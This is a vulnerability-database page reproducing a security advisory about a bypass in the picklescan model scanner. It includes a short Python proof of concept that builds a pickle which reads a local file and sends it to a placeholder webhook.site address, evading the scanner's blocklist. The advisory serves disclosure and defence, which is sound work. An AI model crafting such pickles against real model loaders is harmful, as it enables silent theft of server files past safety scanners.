INCIDENT MAP

Browse / Unsafe Model Loading and Supply Chain / CVE-2026-53872

picklescan has Arbitrary file read using `io.FileIO`

CVE-2026-53872 · 2026-01-08 high

Class
Unsafe Model Loading and Supply Chain (filed by a model that read the advisory)
Technique
Data exfiltration
Also involves
Sensitive Data Disclosure
Affected
picklescan (PyPI)
Gets past
Safe model loader or scanner
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS
0.5% chance of exploitation in 30 days

How it works, in short

A crafted pickle chains file-reading and HTTP-posting callables to send local file contents to an external server, evading the scanner's execution-focused blocklist. (Our summary, written by a model. The source text is below.)

Details

Summary

Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.

Details

The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:

PoC

import pickle, io, urllib.request

class GetFile:
    def __reduce__(self):
        return (io.FileIO, ('/etc/hosts', 'r'))

class Exfiltrate:
    def __reduce__(self):
        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))

with open("bypass_http.pkl", "wb") as f:
    pickle.dump(Exfiltrate(), f)

<img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" />

Impact

Thanks for this library and your time. If you think picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.

References

Source: GitHub Advisory Database, used under CC BY 4.0.